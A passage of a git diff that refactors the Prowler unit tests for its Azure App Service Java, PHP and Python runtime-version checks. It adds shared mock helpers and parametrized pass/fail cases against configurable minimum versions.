- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 0
-
- def test_app_linux_java_version_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"java_latest_version": "17"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "JAVA|21-java21", "java_version": None},
+ "17",
+ "PASS",
+ "Java version is set to 'JAVA|21-java21', which meets the minimum supported version 'java 17',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "JAVA|8-jre8", "java_version": None},
+ "17",
+ "FAIL",
+ "Java version is set to 'JAVA|8-jre8', which is below the minimum supported version 'java 17',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(
- linux_fx_version="Tomcat|9.0-java17", java_version=None
- ),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "PASS"
- assert (
- result[0].status_extended
- == f"Java version is set to 'java 17' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_linux_java_version_not_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"java_latest_version": "17"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "JBOSSEAP|7-java8", "java_version": None},
+ "11",
+ "FAIL",
+ "Java version is set to 'JBOSSEAP|7-java8', which is below the minimum supported version 'java 11',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "", "java_version": "11"},
+ "17",
+ "FAIL",
+ "Java version is set to 'java11', which is below the minimum supported version 'java 17',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(
- linux_fx_version="Tomcat|9.0-java11", java_version=None
- ),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "FAIL"
- assert (
- result[0].status_extended
- == f"Java version is set to 'Tomcat|9.0-java11', but should be set to 'java 17' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_windows_java_version_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"java_latest_version": "17"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "", "java_version": "17"},
+ "17",
+ "PASS",
+ "Java version is set to 'java17', which meets the minimum supported version 'java 17',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "", "java_version": "1.8"},
+ "17",
+ "FAIL",
+ "Java version is set to 'java1.8', which is below the minimum supported version 'java 17',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
+ ],
+ )
+ def test_app_java_version(
+ self, configurations, minimum, expected_status, expected_message
+ ):
+ app_client, resource_id = _app_client(
+ mock.MagicMock(**configurations), {"java_latest_version": minimum}
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == expected_status
+ assert (
+ result[0].status_extended
+ == f"{expected_message} for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
+ )
+ assert result[0].resource_id == resource_id
+ assert result[0].resource_name == "app_id-1"
+ assert result[0].subscription == AZURE_SUBSCRIPTION_ID
+ assert result[0].location == "West Europe"
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(
- linux_fx_version="", java_version="17"
- ),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "PASS"
- assert (
- result[0].status_extended
- == f"Java version is set to 'java 17' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_windows_java_version_not_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
- app_client.audit_config = {"java_latest_version": "17"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(
- linux_fx_version="", java_version="11"
- ),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "FAIL"
- assert (
- result[0].status_extended
- == f"Java version is set to 'java11', but should be set to 'java 17' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_linux_php_version_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"java_latest_version": "17"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_java_version_is_latest.app_ensure_java_version_is_latest import (
- app_ensure_java_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(
- linux_fx_version="php|8.0", java_version=None
- ),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_java_version_is_latest()
- result = check.execute()
- assert len(result) == 0
+ def test_app_default_minimum(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="JAVA|21-java21", java_version=None)
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
diff --git a/tests/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest_test.py b/tests/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest_test.py
index 2e192501ef..7b52dc11ee 100644
--- a/tests/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest_test.py
+++ b/tests/providers/azure/services/app/app_ensure_php_version_is_latest/app_ensure_php_version_is_latest_test.py
@@ -1,6 +1,8 @@
from unittest import mock
from uuid import uuid4
+import pytest
+
from tests.providers.azure.azure_fixtures import (
AZURE_SUBSCRIPTION_DISPLAY,
AZURE_SUBSCRIPTION_ID,
@@ -8,186 +10,177 @@ from tests.providers.azure.azure_fixtures import (
set_mocked_azure_provider,
)
+CHECK_PATH = "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest"
+
+
+def _run_check(app_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ),
+ mock.patch(f"{CHECK_PATH}.app_client", new=app_client),
+ ):
+ from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
+ app_ensure_php_version_is_latest,
+ )
+
+ return app_ensure_php_version_is_latest().execute()
+
+
+def _app_client(configurations, audit_config=None):
+ # app_service imports monitor_client, which needs the provider patched at import time
+ with mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ):
+ from prowler.providers.azure.services.app.app_service import WebApp
+
+ resource_id = f"/subscriptions/{uuid4()}"
+ app_client = mock.MagicMock()
+ app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
+ app_client.audit_config = audit_config or {}
+ app_client.apps = {
+ AZURE_SUBSCRIPTION_ID: {
+ resource_id: WebApp(
+ resource_id=resource_id,
+ name="app_id-1",
+ auth_enabled=True,
+ configurations=configurations,
+ client_cert_mode="Ignore",
+ https_only=False,
+ identity=None,
+ location="West Europe",
+ )
+ }
+ }
+ return app_client, resource_id
+
class Test_app_ensure_php_version_is_latest:
def test_app_no_subscriptions(self):
- app_client = mock.MagicMock
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
- app_ensure_php_version_is_latest,
- )
-
- check = app_ensure_php_version_is_latest()
- result = check.execute()
- assert len(result) == 0
+ assert len(_run_check(app_client)) == 0
def test_app_subscription_empty(self):
- app_client = mock.MagicMock
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {AZURE_SUBSCRIPTION_ID: {}}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
- app_ensure_php_version_is_latest,
- )
-
- check = app_ensure_php_version_is_latest()
- result = check.execute()
- assert len(result) == 0
+ assert len(_run_check(app_client)) == 0
def test_app_configurations_none(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
+ app_client, _ = _app_client(None)
+ assert len(_run_check(app_client)) == 0
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ def test_app_linux_fx_version_none_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, php_version="")
+ )
+ assert len(_run_check(app_client)) == 0
+
+ def test_app_linux_fx_version_none_uses_windows_version(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, php_version="8.5")
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ def test_app_other_runtime_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="PYTHON|3.12", php_version="")
+ )
+ assert len(_run_check(app_client)) == 0
+
+ @pytest.mark.parametrize(
+ "configurations,minimum,expected_status,expected_message",
+ [
+ (
+ {"linux_fx_version": "php|8.0", "php_version": ""},
+ "8.2",
+ "FAIL",
+ "PHP version is set to 'php|8.0', which is below the minimum supported version '8.2',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "PHP|8.1", "php_version": ""},
+ "8.2",
+ "FAIL",
+ "PHP version is set to 'PHP|8.1', which is below the minimum supported version '8.2',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
- app_ensure_php_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=None,
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_php_version_is_latest()
- result = check.execute()
- assert len(result) == 0
-
- def test_app_php_version_not_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"php_latest_version": "8.2"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "PHP|8.2", "php_version": ""},
+ "8.2",
+ "PASS",
+ "PHP version is set to 'PHP|8.2', which meets the minimum supported version '8.2',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "PHP|8.3", "php_version": ""},
+ "8.2",
+ "PASS",
+ "PHP version is set to 'PHP|8.3', which meets the minimum supported version '8.2',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
- app_ensure_php_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(linux_fx_version="php|8.0"),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_php_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "FAIL"
- assert (
- result[0].status_extended
- == f"PHP version is set to 'php|8.0', the latest version that you could use is the '8.2' version, for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_php_version_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"php_latest_version": "8.2"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "PHP|8.5", "php_version": ""},
+ "8.2",
+ "PASS",
+ "PHP version is set to 'PHP|8.5', which meets the minimum supported version '8.2',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "PHP|8.3", "php_version": ""},
+ "8.4",
+ "FAIL",
+ "PHP version is set to 'PHP|8.3', which is below the minimum supported version '8.4',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_php_version_is_latest.app_ensure_php_version_is_latest import (
- app_ensure_php_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
+ (
+ {"linux_fx_version": "PHP|8.2", "php_version": ""},
+ "8.2.35",
+ "PASS",
+ "PHP version is set to 'PHP|8.2', which meets the minimum supported version '8.2.35',",
+ ),
+ (
+ {"linux_fx_version": "", "php_version": "7.4"},
+ "8.2",
+ "FAIL",
+ "PHP version is set to '7.4', which is below the minimum supported version '8.2',",
+ ),
+ (
+ {"linux_fx_version": "", "php_version": "8.2"},
+ "8.2",
+ "PASS",
+ "PHP version is set to '8.2', which meets the minimum supported version '8.2',",
+ ),
+ (
+ {"linux_fx_version": "PHP|latest", "php_version": ""},
+ "8.2",
+ "FAIL",
+ "PHP version is set to 'PHP|latest', which is below the minimum supported version '8.2',",
+ ),
+ ],
+ )
+ def test_app_php_version(
+ self, configurations, minimum, expected_status, expected_message
+ ):
+ app_client, resource_id = _app_client(
+ mock.MagicMock(**configurations), {"php_latest_version": minimum}
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == expected_status
+ assert (
+ result[0].status_extended
+ == f"{expected_message} for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
+ )
+ assert result[0].resource_id == resource_id
+ assert result[0].resource_name == "app_id-1"
+ assert result[0].subscription == AZURE_SUBSCRIPTION_ID
+ assert result[0].location == "West Europe"
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(linux_fx_version="php|8.2"),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_php_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "PASS"
- assert (
- result[0].status_extended
- == f"PHP version is set to '8.2' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
+ def test_app_default_minimum(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="PHP|8.5", php_version="")
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
diff --git a/tests/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest_test.py b/tests/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest_test.py
index 7f2eaf6693..24834eb232 100644
--- a/tests/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest_test.py
+++ b/tests/providers/azure/services/app/app_ensure_python_version_is_latest/app_ensure_python_version_is_latest_test.py
@@ -1,6 +1,8 @@
from unittest import mock
from uuid import uuid4
+import pytest
+
from tests.providers.azure.azure_fixtures import (
AZURE_SUBSCRIPTION_DISPLAY,
AZURE_SUBSCRIPTION_ID,
@@ -8,185 +10,153 @@ from tests.providers.azure.azure_fixtures import (
set_mocked_azure_provider,
)
+CHECK_PATH = "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest"
+
+
+def _run_check(app_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ),
+ mock.patch(f"{CHECK_PATH}.app_client", new=app_client),
+ ):
+ from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
+ app_ensure_python_version_is_latest,
+ )
+
+ return app_ensure_python_version_is_latest().execute()
+
+
+def _app_client(configurations, audit_config=None):
+ # app_service imports monitor_client, which needs the provider patched at import time
+ with mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_azure_provider(),
+ ):
+ from prowler.providers.azure.services.app.app_service import WebApp
+
+ resource_id = f"/subscriptions/{uuid4()}"
+ app_client = mock.MagicMock()
+ app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
+ app_client.audit_config = audit_config or {}
+ app_client.apps = {
+ AZURE_SUBSCRIPTION_ID: {
+ resource_id: WebApp(
+ resource_id=resource_id,
+ name="app_id-1",
+ auth_enabled=True,
+ configurations=configurations,
+ client_cert_mode="Ignore",
+ https_only=False,
+ identity=None,
+ location="West Europe",
+ )
+ }
+ }
+ return app_client, resource_id
+
class Test_app_ensure_python_version_is_latest:
def test_app_no_subscriptions(self):
- app_client = mock.MagicMock
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {}
+ assert len(_run_check(app_client)) == 0
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
- app_ensure_python_version_is_latest,
- )
-
- check = app_ensure_python_version_is_latest()
- result = check.execute()
- assert len(result) == 0
-
- def test_app_subscriptions_empty(self):
- app_client = mock.MagicMock
+ def test_app_subscription_empty(self):
+ app_client = mock.MagicMock()
app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
app_client.apps = {AZURE_SUBSCRIPTION_ID: {}}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
- ),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest.app_client",
- new=app_client,
- ),
- ):
- from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
- app_ensure_python_version_is_latest,
- )
-
- check = app_ensure_python_version_is_latest()
- result = check.execute()
- assert len(result) == 0
+ assert len(_run_check(app_client)) == 0
def test_app_configurations_none(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ app_client, _ = _app_client(None)
+ assert len(_run_check(app_client)) == 0
+
+ def test_app_linux_fx_version_none_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, python_version="")
+ )
+ assert len(_run_check(app_client)) == 0
+
+ def test_app_linux_fx_version_none_uses_windows_version(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version=None, python_version="3.12")
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+
+ def test_app_other_runtime_is_skipped(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="PHP|8.2", python_version="")
+ )
+ assert len(_run_check(app_client)) == 0
+
+ @pytest.mark.parametrize(
+ "configurations,minimum,expected_status,expected_message",
+ [
+ (
+ {"linux_fx_version": "python|3.10", "python_version": ""},
+ "3.12",
+ "FAIL",
+ "Python version is set to 'python|3.10', which is below the minimum supported version '3.12',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "PYTHON|3.12", "python_version": ""},
+ "3.12",
+ "PASS",
+ "Python version is set to 'PYTHON|3.12', which meets the minimum supported version '3.12',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
- app_ensure_python_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=None,
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_python_version_is_latest()
- result = check.execute()
- assert len(result) == 0
-
- def test_app_python_version_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"python_latest_version": "3.12"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "PYTHON|3.13", "python_version": ""},
+ "3.12",
+ "PASS",
+ "Python version is set to 'PYTHON|3.13', which meets the minimum supported version '3.12',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "PYTHON|3.9", "python_version": ""},
+ "3.10",
+ "FAIL",
+ "Python version is set to 'PYTHON|3.9', which is below the minimum supported version '3.10',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
- app_ensure_python_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
-
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(linux_fx_version="python|3.12"),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_python_version_is_latest()
- result = check.execute()
- assert len(result) == 1
- assert result[0].status == "PASS"
- assert (
- result[0].status_extended
- == f"Python version is set to '3.12' for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
-
- def test_app_python_version_not_latest(self):
- resource_id = f"/subscriptions/{uuid4()}"
- app_client = mock.MagicMock
- app_client.subscriptions = {AZURE_SUBSCRIPTION_ID: AZURE_SUBSCRIPTION_NAME}
-
- app_client.audit_config = {"python_latest_version": "3.12"}
-
- with (
- mock.patch(
- "prowler.providers.common.provider.Provider.get_global_provider",
- return_value=set_mocked_azure_provider(),
+ (
+ {"linux_fx_version": "", "python_version": "3.4"},
+ "3.12",
+ "FAIL",
+ "Python version is set to '3.4', which is below the minimum supported version '3.12',",
),
- mock.patch(
- "prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest.app_client",
- new=app_client,
+ (
+ {"linux_fx_version": "", "python_version": "3.12"},
+ "3.12",
+ "PASS",
+ "Python version is set to '3.12', which meets the minimum supported version '3.12',",
),
- ):
- from prowler.providers.azure.services.app.app_ensure_python_version_is_latest.app_ensure_python_version_is_latest import (
- app_ensure_python_version_is_latest,
- )
- from prowler.providers.azure.services.app.app_service import WebApp
+ ],
+ )
+ def test_app_python_version(
+ self, configurations, minimum, expected_status, expected_message
+ ):
+ app_client, resource_id = _app_client(
+ mock.MagicMock(**configurations), {"python_latest_version": minimum}
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == expected_status
+ assert (
+ result[0].status_extended
+ == f"{expected_message} for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
+ )
+ assert result[0].resource_id == resource_id
+ assert result[0].resource_name == "app_id-1"
+ assert result[0].subscription == AZURE_SUBSCRIPTION_ID
+ assert result[0].location == "West Europe"
- app_client.apps = {
- AZURE_SUBSCRIPTION_ID: {
- resource_id: WebApp(
- resource_id=resource_id,
- name="app_id-1",
- auth_enabled=True,
- configurations=mock.MagicMock(linux_fx_version="python|3.10"),
- client_cert_mode="Ignore",
- https_only=False,
- identity=None,
- location="West Europe",
- )
- }
- }
- check = app_ensure_python_version_is_latest()
- result = check.execute()
- assert len(result) == 1
